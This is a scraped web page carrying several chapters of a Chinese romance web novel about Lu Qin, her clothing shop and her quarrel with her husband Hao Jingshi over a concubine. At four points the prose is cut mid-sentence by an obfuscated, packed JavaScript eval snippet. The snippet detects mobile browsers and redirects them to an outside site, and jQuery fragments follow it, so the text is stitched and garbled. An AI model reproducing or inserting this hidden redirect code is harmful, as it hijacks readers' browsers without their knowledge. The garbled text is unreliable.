;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283127|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景时带着饭盒又来了医馆,喊鹿芩吃饭,鹿芩嘱咐了菱儿几句,走到休息区去找他。 郝景时手里转着银筷,等她过来了,才掀开食盒摆盘出来,让鹿芩诧异的是,他居然记得她喜欢吃什么,还特意摆在她面前。 饭有些咸了,鹿芩一口气喝了不少水。 吃完以后,郝景时拿着饭盒离开了,鹿芩看着他张扬的背影,有些高兴不起来。 是因为她……慢慢认清了一件事。 郝景时和她几乎朝夕相伴,日日能见,对她来说,已经不是可以轻易忽视的人了。 她好像有点在意他。 这种在意,是没法克制的,再怎么刻意的疏远,都会忽然想起对方。 那天看着鹿萍和他说话,她五味杂陈,意识到她介意他纳妾,大概也不是因为什么别的缘故。 是因为…… “少夫人?” 鹿芩坐在柜台前寻思着,慢慢发起呆,菱儿在一旁喊了她几声,她都没听见。 “少夫人。”见鹿芩心不在焉的,菱儿过来打趣了一句,“您的眼睛都要长在少爷身上了。” 鹿芩回过神,狡辩说:“他有什么好看的,我是看见外头树上有只五彩鸟。” “哦。”世上哪儿会有五彩鸟,菱儿捂着嘴,但眼睛弯弯的,一看就是在笑。 旁观者清,她这几日看着少爷和少夫人两个人见面较劲,分开又暗暗惦记,觉得真有意思。 鹿芩被她笑的都有点不好意思了,赶紧咳了咳,打岔:“那个,菱儿,你找我有什么事?” 菱儿眼珠转了一下,这才忽然想到自己是有正事,不是为了凑热闹的。 她正经道:“哦对,少夫人,奴婢是有要事告诉您——咱们的家丁在外观察了几日,发现是西城街那边有一家新开的衣铺,最近在搞开业活动,好像在模仿咱们的铺子,也是现场买卖,分了尺码的。” “哦,怪不得。”鹿芩没太当回事。看来她的铺子真是太火了,都有仿品了。 被模仿是常事,毕竟是为了赚钱,能理解。 不过,既然有了竞争对手,就说明她的铺子已经不是独一无二的了,她必须要有点危机感了。 她得看看,这家新铺子有什么竞争力。 鹿芩想着,吩咐菱儿:“你帮我去那家店铺里买一件衣裳,我要看看他们的料子如何。” 如果不是品质上的差距导致顾客流失,那么就不足以在意了。毕竟开业活动不是天天都有,折扣也不会天天都会给的,她有信心能让顾客再回来。 “是。”菱儿应了一声,利索地跑出门去办了。 鹿芩继续转身整理着衣裳,招待着顾客,忙碌起来。 转眼,日落时分,夕阳斜照。 店铺里铺开一片温柔的橙色的光,顾客们相继离开,三五家丁拿着扫帚在门口和铺子里面打扫。 鹿芩在柜台前看着账本,时不时地望望外头,看看菱儿回来了没有。 菱儿这一去久久未归,她等啊等,等到快要歇店了,才从窗户趴望到菱儿的身影。 知道主子一定是等急了,菱儿脚下像踩了风火轮似的,两腿卖力倒着,拿着衣裳匆匆赶回来交差。 彼时郝景时正好从医馆出来,往衣铺里走着,菱儿火急火燎的没刹住脚,正从背后撞了他一下。 郝景时毫无防备地踉跄了一下,一下子栽倒下去,膝盖“咚”地磕了门槛。 17. 第 17 章 “没长眼吗?” 膝盖上新伤叠着旧伤,这么猛地一磕,郝景时疼的心肝发颤。 他气冲冲地扭过头,见是菱儿,又皱皱眉,“菱儿,你不在衣铺陪着少夫人,瞎跑什么?” “奴婢该死!”菱儿扑通一声跪倒在地,连连认错,“回少爷,奴婢、奴婢是去帮少夫人买衣裳了,奴婢不是故意的!” 听闻她说是去替鹿芩办事,郝景时泄了口气,摆摆手意思是罢了。 他不再多言,抓着门框站起身,一瘸一拐地挪进了衣铺,哪怕腿脚不太利索,也依然搭着双臂,挺着腰板。 几个眼尖的下人赶紧跑出来扶了郝景时一把,但被郝景时甩开了。 众人只得纷纷收了手默默跟着,菱儿见状弱弱地站起身来,跟在大家后面走。 听见了动静的鹿芩从里头一路小跑到门口,见郝景时一跛一跛的,便跑过去挽着他的胳膊。 “这是怎么了?” 郝景时在她的搀扶下走到休息区,一屁股坐在凳子上,随即有几缕碎发飘逸起来,形似小火苗在脑袋上烧。 察觉到少爷情绪不对,菱儿抱着衣服又过来跪下了,低着头说:“都是奴婢不好,撞了少爷,奴婢罪该万死,请少爷责罚。” 鹿芩明白了事情的原委,转而扫了郝景时一眼,看出他不悦,她便拍了拍他的肩膀缓和气氛道:“夫君别生气了,菱儿也不是故意的。” 郝景时听后用鼻腔哼了一声,轻轻掸着衣袍和筒裤上的土,显然还是不高兴。 他当然知道菱儿不是故意的。 只是她这话可不是他想听的。 他敷衍地摆手:“行了,你起来吧,摔一下死不了,小爷没那么矫情,不会跟你置气。” “……谢少爷。” 菱儿边说边小心地抬头瞄了一眼,感觉他还是在生气,没敢起身。 “还不快起来。”鹿芩见状上前将菱儿扶起来了,接过她怀抱的衣裳解围道,“怎么去了这么久?” “回少夫人。”菱儿垂头解释道,“奴婢去时,看见那店铺的老板是您的兄长,奴婢怕他认出奴婢来,就换了个人去买,所以耽搁了。” “鹿鸣?”鹿芩觉得意外,开始骂骂咧咧地端详起衣裳,“没想到居然是这个傻帽……” 果然如她所料,款式是抄他们的款式,料子是比较廉价的料子,做工也很粗糙,一看就是为了节约成本而偷工减料,还真是鹿鸣的作风。 估计背后也少不了赵姨娘的支持,赵姨娘上次来衣铺,八成就是为了探探她的老底,学学她的款式,才不是为了让鹿鸣鹿萍来打工。 说他们没脑子吧,他们还知道模仿她,说他们有脑子吧,也实在是没有。 这么破的衣裳,光靠开业的优惠热闹一阵,能做出什么好光景来。 还以为是遇上对手了,结果是个不值一提草卒。 鹿芩把衣裳随意地卷了卷,收成一团,又递给菱儿。 “他这样做生意长久不了,不用管他,让他自生自灭去吧。把这衣裳放一边去。” “是。”菱儿接了衣裳拿走了。 铺子里安静了一会儿,只听得下人们洒扫的动静。 鹿鸣的事被抛之脑后,鹿芩转头又去柜台上取了账本,捧着账本回来,坐在郝景时旁边的小凳上。 “夫君,等我看完这笔账,咱们就回府哈。” “……”见她将账本平摊在桌上,看也不看自己一眼,被晾了半天的郝景时终于忍不住发话了。 “衣铺衣铺,如今你眼里就只有衣铺,没有别的,你便跟衣铺过吧。” 他冷不丁的一声抱怨让鹿芩一怔,才迟钝地明白过来,郝景时的火气原来是冲着她而来的。 她抬眼望去,只见他眸色沉沉,似有阴云翻滚着,眼看就要打雷下雨了。 “哎呀,夫君,瞧你这话说的,我是一时间糊涂了没想到。”鹿芩明白了什么,火速撒开账本,起身走到他面前徐徐蹲下,找补道,“伤的重不重?给我看看。” 郝景时垂眸看着她,虽然她说的是关切的话,但他听着总觉得虚伪,一点都没说到他心坎上。 他扭过头:“不用。” 鹿芩歪头过去追着看他:“夫君别生气,我给你赔罪嘛。” “……” “等会儿回了府,我给夫君擦上药,能好的快些。” “……” 郝景时不再躲闪,但看着她不说话,眸中的情绪千变万化的。 鹿芩看着他,越发觉得他可能是故意来找茬的,尤其是今天,这般小题大做抓着不放。 他无事生非,明里暗里地跟她闹别扭,那还能是为什么。 想纳妾呗。 鹿芩心头燥了一下。 赵姨娘没完没了,郝老夫人天天念经,郝景时也总是找茬,人人都在逼迫她。 回想起来,自从衣铺开业到如今,郝老夫人可没少找她训话,话里话外都对她有诸多不满。 “这些日子你一直奔波在外,衣铺开得红火,的确能干,可我不得不提醒你一句,都是有家室的人了,别太张扬,伺候好夫君,早日绵延子嗣,才是一个女人该做的事。景时说你的身子还需要调理,不适合生育,回头啊,我让人炖些补品给你吃。” 然后慢慢的,郝景时也开始挑她的刺了,平日里动手动脚的招惹她,越来越爱在小事上计较。 鹿芩不想跟他一般见识,想着笑一下算了,结果事情又变得不对劲了。 在爹爹来衣铺看她的那天傍晚,郝老夫人忽然单独喊了她过去说话,告诉她赵姨娘遣了媒婆来给鹿萍说媒,说鹿萍对郝景时一见钟情,还哭闹绝食,非他不嫁,哪怕是妾室也愿意。 鹿芩这才想到郝景时那句“纳个有情致的小妾也好”,一时间心里发寒。 果然,一切都有预兆,早在郝景时去拿地契的时候,赵姨娘便已经做好了打算,郝景时不经意的话,也不像是玩笑话。 他不想暴露多情的本性,便嫌她伺候的不好,给老夫人告状。 再看郝老夫人的态度,也是不介意鹿萍过门的。 她柔中带刚,话说的委婉,语气却直白强硬,还有些伤人。 “这事我还没有问过景时,不过想来他也不会拒绝,况且,他是郝家唯一的嫡子,必是要传宗接代,纳妾只是早晚的事。 不过,你们成婚还不久,此事多少是委屈了你。你若没什么意见,便操心一些,为景时安排着。当初娶亲我们没过问他的意见,这次便让他自己挑喜欢的人吧。” …… 鹿芩越想越火大。 要纳就直接纳,反正当初娶她也没问郝景时的意见,现在何必搞这一出? 况且郝老夫人自己都说了,让郝景时挑“喜欢的人”,那便是知道郝景时压根不喜欢她。 他们为什么没孩子,很难猜吗? 她能怎么办,难不成霸王硬上弓,或者去哪儿变出个孩子来完成他们郝家的kpi吗! 本来这两天被鹿鸣抢了生意就烦,还要天天捧着个祖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283128|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗。 好啊,她索性就遂了他的愿,省得他们都来折腾她了。 鹿芩在心里把郝景时大卸八块,全然没了刚刚的耐心,面色淡淡地说:“夫君若是嫌我伺候的不好,便纳了妾吧,多几个人照顾夫君也好,我来安排,省的夫君一直惦记。” “……” 安静了一秒。 郝景时简直不敢相信自己的耳朵,扭回了头:“什么?” 鹿芩重复道:“我说,夫君喜欢谁,便纳了妾吧。” “……” 又安静了一秒。 她变脸太快,郝景时眸色深了一下,情绪跟着跌宕起伏:“小爷说东你说西,这是一回事吗?” 鹿芩顿了一下:“不是吗?夫君不是一直想纳妾吗?我这人粗心,实在是没尽到妻子的本分。” 她自顾自地说着,丝毫没察觉郝景时的眼色越发沉了,“对了,我妹妹鹿萍……” 对你一见钟情,哭闹着说是非你不嫁。 还没等她说完后半句,郝景时忽然冷笑了一声,猛地伸手捏住了她的下巴。 “嘶……” 鹿芩吃痛地倒吸一口凉气,眨眼间被郝景时掰过脸,直直地面对着他。 她呆了一下。 随即听见他从牙缝里挤出两个字:“鹿芩。” 鹿芩被迫望着他,铺子里的下人见气氛不对,都大气不敢出,默默地退出去了。 屋内只剩下他们二人,空气却更加稀薄了。 郝景时好像从来没有直呼过她的全名。 见他气势汹汹,鹿芩没来由地寒颤了一下:“夫君这是怎么了,好端端的生什么气啊?” “哦。”郝景时面色冷如冰霜,恼火道,“小爷受了伤,你也不说关心一句,反倒来跟小爷说这个?” 他的反应完全出乎意料,鹿芩摸不着头脑,皱眉说:“松手,你弄疼我了。” 郝景时凝视着她,听闻这句话瞳孔颤了颤,手上松了些力气,但没有放手。 “你给小爷说清楚了。” 他慢慢俯下身凑近了她,视线紧锁她的面容,让她觉得浑身生热,如同被架在炭火上炙烤。 “纳妾的事,小爷最开始是提过一句想逗逗你,但也只有那一次,后面再没提过吧?” “倒是你,三番五次的提,还莫名其妙地疏远小爷,敷衍小爷,你就这么盼着小爷纳了别人?” 郝景时的气息热热地扑过来,鹿芩一时间觉得窒息,强行别开头,挣脱了他的手。 还好意思说他只提过一次,那郝老夫人那边是谁说的? 她时不时就被教育正妻要有容人的气度,被折磨的耳朵都要起茧子了! 他这般质问,鹿芩也不想好言好语地哄着他了,一股脑地站起身:“不想纳便不纳吧,你跟我发什么火?莫名其妙!” “我跟你说的是这回事吗?” 哪料她才躲开,郝景时就“唰”地跟着站起,又伸了双手捧住她两边脸颊,重新将她的头扳回来面对自己。 他显然是急了,眼底笼着她从未见过的一种阴郁,似是个无底深渊,要把她生生吞了。 好凶的样子。 从前她和郝景时只会拌嘴,就算有点摩擦吵架了,她服个软也就过去了,这样大动干戈还是第一次。 鹿芩下意识地觉得他要发火,甚至觉得他要家暴她了,还做好了一脚踹过去的准备。 却不料,只是听见他一字一句地问:“鹿芩,你口口声声说心里有我,是真的吗?” 18. 第 18 章 “……” 鹿芩愣了,憋在胸腔的那股火气忽然泄了,取而代之的是一种酸涩。 你口口声声说心里有我,是真的吗? 她设想了许多,唯独没想到他会忽然问这个。 “罢了。” 不等她张口,郝景时又忽然松开她,两手垂到身侧,退了一步,“随你吧,反正无论如何,你都会捡好听的话说,我不想知道了。” “……” 鹿芩仍旧呆着,听到他这样赌气似的一句话,不知何解。 他的手抽开后,她还惯性地微微昂起头朝向他,脸颊一时凉飕飕的。 半晌后,她才惊觉出什么,脑子里迟钝地冒出一个结论。 郝景时只想知道她是不是真心喜欢他。 逐渐捋清这一点后,鹿芩慢慢垂下眼,心头堵得慌。 她好像……误解了郝景时。 他根本就不想纳妾。 所以一切的一切,都是赵姨娘挑唆的,借着她没有孩子的事,让郝老夫人不满她这个儿媳,从而同意鹿萍入府…… 鹿芩如梦初醒,不想再吵下去了,上前了一步,求和似的去拉郝景时的手。 “夫君,我当然在意你,也在意你说过的话,就算你只提了一次纳妾,我也是记在心上的,我哪知道你改了主意。既然你不想纳妾,那就不说了,我以后也不提了。” “呵。” 让鹿芩没想到的是,郝景时看了她一会儿,并没有像往常一样息事宁人,反而自嘲地笑了,“变脸这么快,你真把我当傻子了。” “什么……?” 鹿芩雾着脑子条件反射地问,问完,又忽然意识到不妙。 果然,郝景时甩开她的手,似乎是隐忍已久后的爆发。 他一口气说道:“鹿芩,你从前处处讨好我,只是为了衣铺,是不是?现在目的达到,我便没了用处,所以你对我漠不关心了是不是?” “……” “说的好话,全是诓我的,就是为了哄我高兴,然后来利用我。” “…………” 突然被他气急败坏地拆穿,鹿芩浑身一僵,终于明白他何故怒成这样。 她看着他,须臾间,没来由地生出了怕失去他的恐惧,一时间不知如何开口解释。 不是怕衣铺开不成,也不是怕没人给她治病,更不是怕没人保护她。 只是单纯的怕失去他。 见她愣着不辩解,郝景时彻底灰心了,笑了一声,像是确认了答案。 “鹿芩,从衣铺开业的那一天起,我便看出你不对劲,你对我,根本就没有什么所谓的一往情深。” “……” “我不该信了你的鬼话,什么女子最懂女子,若能穿上我亲手设计的衣裳,便死而无憾……” 见郝景时越说越冷静,鹿芩有些慌了,赶紧胡乱地挥挥手。 她脱口而出,颤颤道:“夫君,你胡说什么呢,我对你当然是真心的啊,我没有骗你,我真的喜欢你设计的那……” “你和你的姨娘一样虚伪。” 郝景时骤然打断,眉眼间的情绪淡淡的,说话的语气也变得淡淡的。 他口中轻飘飘地吐出这样一句话,却像万吨巨石一样,压在鹿芩的心上。 她只觉喘不上气,有些无措地想抓住他:“不是这样,你怎么能这样想,郝景时,我……” 郝景时侧身躲开了,显然是已经不信她了。 “既然是真心的,就该懂事一点,为小爷考虑。纳妾的事情,你明日就去安排吧。” “对了,记得要温柔体贴的,不要满腹算计的,最好先来十个八个,小爷不嫌多。” 说完,他头也不回地离开了。 哪怕膝盖还隐隐作痛,他也依然倔强地迈着大步,越走越快了。 “……” 鹿芩呆立在原地,看着他的背影,过了半晌,心里开始迟钝地疼着。 她昂起头,看着窗外。 一只鸟儿正朝南飞着,虽然顶着风,但依然卖力地扑腾着翅膀。 其实她和这鸟儿一样,喜欢迎难而上解决问题,而不是逃避。但在郝景时这里,她不知所措。 有时候看见他,她便想,逃避一下就逃避一下吧,就当什么都没发生过。 但显然,逃避没有用,她最不想发生的事情还是发生了。 郝景时可能……再也不会理她了。 鹿芩直直地望着门口出神时,试衣间那边传来了窸窸窣窣的脚步声。 因为听见争执而躲起来的菱儿轻手轻脚地走过来了,见少爷扬长而去,忍不住皱皱眉头。 “少夫人,您这是何苦呢……”见她眼眶红了,菱儿心疼地掏出了帕子,“少爷虽然不说,但奴婢能看得出来,他心里在意你,他也的确从未提过纳妾一事啊。” 鹿芩摇摇头,推开她递来的帕子,只觉得疲惫。 和郝景时共处一室后,她的确也恍惚过,时常细细去想二人相处时的种种,可又觉得郝景时只是守着当初的承诺,尽了丈夫该有的责任,好吃好喝地待她,并没有多余的感情。 自从纳妾的事横在两人中间后,她更是和他保持着距离,不愿凑近他半分。 她一直以为是郝景时和郝老夫人吹了耳边风,让郝老夫人来说教她,她以为这个妾是纳定了。 可刚刚郝景时捏着她的下巴,盯着她的眼眸,问出的一字一句,如石子投河般在她心里激起波浪。 她对他是真心的吗? 其实这个问题,也困扰她很久了。 直到刚刚她才有了答案。 不过她明白的有点晚了。 如鹿芩所料,从那天起,郝景时开始对她冷淡至极,甚至将地铺收走了,不再和她同屋住。 鹿芩看着空荡荡的地面,心里越发激烈地萌生出一个念头。 她不要郝景时纳妾。 她要郝景时心甘情愿地回来。 …… 天气逐渐转凉,雁南飞,叶枯黄。 鹿芩抱着菱儿送来的汤婆子,开始为郝景时留意起各家未出阁的小姐,还让人画了画像,拿过去给他挑选。 但郝景时只是让她放下就赶她走了,没多看她一眼,也不说看上了谁。 他不说,鹿芩也不管,继续给他送,他不理她,她就派菱儿去送。 菱儿回来告诉她,桌上的画像越堆越多,都快放不下了,但少爷依旧不理,仿佛她是空气,画像也是空气一样。 鹿芩想了想,不再送画像了,而是每天抄一首情诗,折成信封给他送去。 但信纸也被堆着,和画像的待遇一样。 过了几日,连郝老爷和郝老夫人都看出来他们闹了别扭,还在两人来请安时出言劝和。 谁知,郝景时不但不听,还连家都不回了,直接睡在医馆,一连七八日都没见他人影。 在公婆的劝说下,鹿芩无奈地拿着甜点去找他,想缓和一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283129|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系。 但一进医馆就被他冷脸轰出来。 鹿芩叉腰,拎着食盒待在门外时,玄岚突然从树上蹿下来偷偷告诉她说,少爷其实压根没看那些女子的画像,倒是偷偷掀开过几次信纸,然后又装作没看过似的堆回去。 他在医馆时也总是发呆,一副失恋了的样子,她一来他就赶走,可她不来,他还会望着门口,像是盼着她来。 玄岚特意添油加醋地形容,硬是把一个臭脾气少爷形容成了清澈纯爱男大,不过说起来倒也是,郝景时的确是刚满十八岁而已。 鹿芩听后觉得哭笑不得,没想到她不仅能体验穿越,还能体验一把追夫火葬场。 在郝景时眼里,她分明是一个既骗钱又骗感情的恶人。 不过,谁让他当初非要逃婚,活该,他俩也算是扯平了。 猜到郝景时心里有她以后,鹿芩决定一鼓作气拿下他,让他重新敞开心扉。 她想了想,没想到什么好办法,索性死缠烂打,每天都来医馆里一次,劝他回家。 刚开始郝景时会头也不抬地轰她出去,但她就是不走,后来他懒得废话,丢下一句“小爷不回”以后,便直接无视她了。 见他不赶自己走了,鹿芩就往边上一坐,开始厚着脸皮跟他说话。 “夫君,昨日衣铺只赚了几百文钱,鹿鸣这家伙,不知道用了什么歪门邪术,把我们的客人都抢走了,气死我了,明儿我要派几个卧底去看看。 那个,我不是只在乎衣铺,我就是发个牢骚,你是不是不爱听啊,那说点别的吧。这几日你不去请安,母亲可生气了,说要打断你的腿呢,我不停地在她面前说你的好话,求她不要罚你,哼,我够意思吧?” 郝景时不理她。 终于知道他不爱听了?晚了!小爷才不会再信这些鬼话! 他沉默,鹿芩就自顾自地说,说完了回到衣铺去,第二天再来。 “夫君,今天回家吗?好吧看样子是不回。我跟你说气死我了,我可算知道是怎么回事了,鹿鸣那个傻缺打着我的名号做生意,客人们都以为是他那家铺子是咱们的分铺,又比这边便宜,所以就去那边买了。 这个臭傻缺,本来想着他要是本分做生意就不跟他计较了,但他居然想臭咱们的名声,我早晚要收拾他。” 傻缺应该跟傻叉是一个意思吧,果然是骂小爷的。被欺负了小爷也不管你。 郝景时还不理她。 鹿芩说完了就回衣铺,第三天再来。 “夫君,回家嘛,母亲说你的生辰快到了,要给你操办宴席。你有没有什么喜欢的东西啊?对了,上次你说的那个香囊,我已经在做了,唉,其实我的针线活挺烂的,以前缝个袜子都要缝好久……不过你放心啊,我既然答应了,就不会食言,我还跟菱儿拜师了,过些日子一定给你做好。” 现在知道做香囊了,黄花菜都凉了,小爷不稀罕了。 郝景时依然不理她。 鹿芩不管,说完就走,然后第四天再来,第五天再来,第六天再来…… 郝景时不理她,郝景时又不理她,郝景时又双叒叕不理她…… 像失恋后遭受打击然后水泥封心了。 鹿芩哭笑不得,但不知怎的,倒越看他越觉得可爱了。 完蛋了,她要坠入爱河了,还偏偏是在他封心锁爱的时候。 没办法,她继续雷打不动地往医馆跑。 第七天八天九天十天……直到第n天时。 19. 第 19 章 鹿芩已经习惯了郝景时的冷暴力,每天就当自己是在上班打卡演讲一样,进屋往凳子上一坐就开始说话,还给自己准备了一把瓜子。 她把瓜子撒在柜台上,一边嗑一边说:“景时哥哥,这个瓜子可香了,在对面那条街上买的,我给你剥点瓜子仁吧。来,张嘴——你不吃?那我吃。” 又说:“景时哥哥今天还不回家吗?再不回家我可要来医馆陪你了,家里待不下去了。母亲每天都要教育我,让我劝你回家,还催着我安排纳妾的事,可我能怎么办嘛,那么多画像你又不告诉我喜欢哪个……我错了不说这个。” “景时哥哥,香囊做的差不多了,你说这上面绣个什么图案呢?你喜欢什么花,或者小动物也行……要不然绣一片芩叶吧,我看人家佩的香囊上都绣了心上人的名讳。你默认了哈,那就这么定了。” 照样没有回应。 鹿芩把一把瓜子“叭叭叭”地都磕完了,收了瓜子皮,习惯性地准备走。 谁知快到门口时,郝景时冷不丁地说话了。 “不要芩叶。 谁说你是小爷心上人了?” 鹿芩惊喜了一下,转过身,小跑回去:“太好了,夫君,你总算愿意跟我说话了,我还以为是把你气哑巴了呢!” “……,你倒是不哑巴,每天来絮絮叨叨,像对着墓碑悼念亡夫似的,小爷又没死,满耳朵都是你的声音,聒噪的很。明天别来烦小爷了。” 郝景时面无表情地说完,又低下头看书不理她了。 鹿芩“哦”了一声,没什么波澜起伏。 随便他说什么,反正她第二天照样会来的,这郝老夫人天天唠叨她,她必须给郝景时唠叨回去。 再说了,追爱就是要勇敢要厚脸皮。 她满不在乎地转头离开了:“夫君不爱吃瓜子,那我明天买花生!” “……” 郝景时无语,拿着笔在账本上乱画着圈圈,听到鹿芩离开的脚步声,才缓缓抬起头,望着她的背影。 等到门外看不见她以后,他自言自语地嘟囔道:“越来越厚脸皮了,景时哥哥,也不知是从哪学来的这称呼,绣芩叶,哼,还敢编排母亲。” 玄岚听后,忍不住说道:“少爷,你何必这样置气,其实少夫人……” “别跟小爷提她。” “呃但是少爷,纳妾这事……” “滚出去!” “……是,奴才滚了。” 玄岚看着炸毛的少爷,无奈地滚回树上待着去了。 次日。 医馆内非常安静,连风穿过的声音都能清晰听见。 郝景时埋头看书,书的一角被吹的卷了起来。他抚平了那一角,看着看着忽然觉得少了点什么,下意识地抬起头。 鹿芩今天真的没来。 郝景时忍不住留神听了一耳朵隔壁的动静,很快听见一阵嘈杂,像是在吵闹,和刚开业那天似的,乱极了。 他心头浮上来一层雾。 她不来,是因为他昨天话说重了伤她了,还是因为她的衣铺忙不开了又要忽略他? 才哄了他几天就又暴露本性了。 见郝景时往门口张望,玄岚立马悄悄跳下树,跑去隔壁看了一眼,准备回来“不经意”插话地跟他汇报少夫人的状况。 郝景时并没有察觉玄岚离开,只是心不在焉地瞥着门口,隔了一会儿,他恍然见到一个影子跑来了,还以为是鹿芩,连忙装作自己在忙的样子。 “咚咚咚”一阵疯狂的脚步声响后,郝景时心想,就算急成这样,小爷也不会理你的。 他冷着脸一抬头,但发现来人不是鹿芩,而是玄岚。 “少爷,少爷!”玄岚跌跌撞撞地飞奔到他面前,“少爷你快去衣铺看看吧!” 郝景时扫了他一眼,没兴趣:“衣铺有什么好看的?小爷不去。” “衣铺,不好了,衣铺来了一群人闹事,说是衣裳有问题,现在正在里面围着少夫人不让她出来,说要找她算账,让她还钱呢!” 闹事? 那就闹吧,说不定过不了多久鹿芩就会哭唧唧地来找他帮忙了。 “哦。”郝景时冷漠地说,“那是她的事,小爷不管。” “少爷!”玄岚急死了,“他们人太多了,把家丁们都打晕了,少夫人怎么解释这帮人都不听,给她推来推去的,还要砸了铺子,万一磕了碰了出个好歹呢!” 砸?那就砸吧,砸完鹿芩铁定要哭唧唧的来找他了。 “听不懂吗,小爷说不管。” “……” 见少爷非要犯倔,玄岚没招了,狠狠地跺了下脚,提高音量说道:“你不去,奴才去!那一群人里面还有拿着菜——刀——的,万一少夫人真被、砍、伤、了,怎么和老夫人交代,怎么和鹿家交代,奴才可吃罪不起!” 玄岚说完头也不回地跑了,郝景时哼了一声,无动于衷。 砍?砍吧,砍完了鹿芩铁定…… 等一下。 拿菜刀砍谁? 郝景时愣了一下,突然反应过来了,“唰”地站起了身。 …… 衣铺。 一群人嚷嚷着,把门口堵了个水泄不通。 “还钱!黑心商家!就因为你们家衣裳,我儿子生了一身的疹子,高烧不退!” “大骗子,还敢关店,我那衣裳开了线,你们却卷了钱跑路!还有没有天理!” “就是!赔钱!!” 众人说着冲进了衣铺,合力揍晕了铺子里的几个下人,把菱儿和鹿芩逼的连连后退,缩进了墙角,像一群长着血盆大口的妖怪逼近两个手无寸铁的凡人。 鹿芩看着乌央乌央的人群,听着乱七八糟的咒骂,闻着一群人闷出的臭汗味,脑袋都要炸了。 无妄之灾! 她还诧异今天衣铺怎么来了这么多人,比开业时还多,合着一个个都是来讨债的! “诸位!冷静一下!”眼看退无可退,她踮起脚尖,卖力地扯着嗓子喊道,“我们的衣裳用的都是最好的料子,断断不会出了问题,这其中是否有误会?” “有什么误会!这衣裳就是从你家买的!” “就是就是!” 众人又嚷嚷起来了,挥舞着手里的劣质衣裳,像一阵一阵扑起的浪花似的。 “大家先别急!听我说!”鹿芩赶紧随便扯下几件衣服,逐一翻开领子给众人看,“咱们小鹿衣铺里的衣裳都是有图案的,每件衣服在领子上都绣了一对小鹿角,大家可以看看自己的衣裳到底是不是咱们店铺里的衣裳!如果是的话,我们会承担所有的责任,绝不会逃避!” 众人听后,纷纷低头翻看了一下衣领,的确没有什么小鹿角。 发现是误会后,一大半的人都没了气势,嘟囔着骂了几句,认了这个哑巴亏,讪讪地离开了。 彼时衣铺不再拥挤,空气也流通了,鹿芩和菱儿从逼仄的空间里解放,喘了口气。 不过,放松不过一秒。 也有人并不认,怒气冲冲地把衣服丢在一边。 “你说什么就是什么吗?别装好人!你敢说那家铺子不是你开的吗!谁都知道鹿鸣是你的兄长!他天天炫耀你们二人兄妹情深,说不定是你们说好的,一唱一和来骗钱!” “就是,连款式都一模一样!就是你们害了我儿子! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283130|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他现在还躺在床上下不了地!没有你们这么做买卖的,你们丧尽天良!” 率先喊起的是一个大汉,他身后跟着一群兄弟,以及不死心还想要赔偿的人。 “……”鹿芩眼前一黑,只觉得自己跳进黄河也洗不清了。 还是大意了,赵姨娘果真是不白来,既挑拨离间,又学了她的设计稿,还让她吃了个大亏。 早知道当初就该先下手为强,不给他们留余地,这下倒好,对傻缺的仁慈成了对自己的残忍。 见这大汉铁了心要闹事,还抄了菜刀,鹿芩只得无奈地把衣裳放下,好言好语地稳住他们的情绪。 “诸位别急,给我几天时间,我会去找到鹿鸣,一定给大家讨个公道!” “讨什么公道!”大汉还是不领情,嚷嚷道,“我看你就是为了拖延时间!谁知道你是不是也要跑路啊!我儿子的病等不了!赔钱!赔钱!” 一群人不由分说地挤过来,高喊着赔钱,还挥舞着家伙什,菱儿见状赶紧把鹿芩护在身后。 混乱之际,玄岚突然匆匆从门口飞了进来,挥着剑一通乱舞:“干什么!都让开!” 玄岚的出现成功唬住了众人,不过,他用的都是虚招,并不敢真的出手伤人,因此出场不过三秒,就被人推到了一边。 见玄岚狠狠撞了墙,半边脸都粘在上面,菱儿闭了下眼睛,赶紧重新护着鹿芩。 鹿芩往后缩着脖子,快要被唾沫星子淹死了。 赔钱确实可以息事宁人,但如果她真的赔了钱,岂不是间接认了鹿鸣口中的“兄妹情”,还显得自己心虚,让衣铺名声尽毁。 